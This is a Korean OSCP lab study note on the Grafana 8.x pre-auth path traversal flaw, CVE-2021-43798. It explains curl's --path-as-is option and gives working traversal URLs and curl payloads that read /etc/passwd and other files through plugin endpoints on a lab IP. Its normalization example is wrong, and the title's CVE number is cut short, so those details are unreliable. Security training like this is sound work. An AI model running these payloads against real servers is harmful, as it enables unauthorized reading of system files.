OSCP - 9.1. Directory Traversal, Labs CVE-2021-43 --path-as-is 취약점

 

개요

Grafana 8.x 버전에서 발생 하는 Path Traversal 취약점이다. 

플러그인 API 엔드포인트의 경로에 대한 사용자 입력에 대한 검증이 미흡하여 서비스 영역 외의 상위 디렉터리 등에 액세스가 가능하게 된다. 

 

문제의 코드 : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

 

참고

https://github.com/taythebot/CVE-2021-43798

GitHub - taythebot/CVE-2021-43798: CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

 

 

curl의 --path-as-is 옵션

 

원래라면 사용자가 입력하는 경로가 정규화( normalization )를 거치면 다음과 같이 변환이 된다.

예시) http://example.com/foo/../bar -> http://example.com/foo/bar

 

curl에 --path-as-is 옵션을 사용하면 위 같은 정규화(normalization)를 무시하여 서버에 문자 그대로(byte-for-byte) 전송하게 된다. 

 

그러므로 다음과 같은 경로가 들어오게 되면, 서버는 받은 그대로 처리하게 되므로(거기다 사용자 입력에 대한 검증이 미흡하여 입력 받은 대로 처리함) passwd 파일을 출력하게 된다. 

http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../etc/passwd

 

Payload

curl --path-as-is http://192.168.248.193:3000/public/plugins/welcome/../../../../../../../../users/install.txt
or
curl --path-as-is http://192.168.248.193:3000/public/plugins/alertlist/../../../../../../../../users/install.txt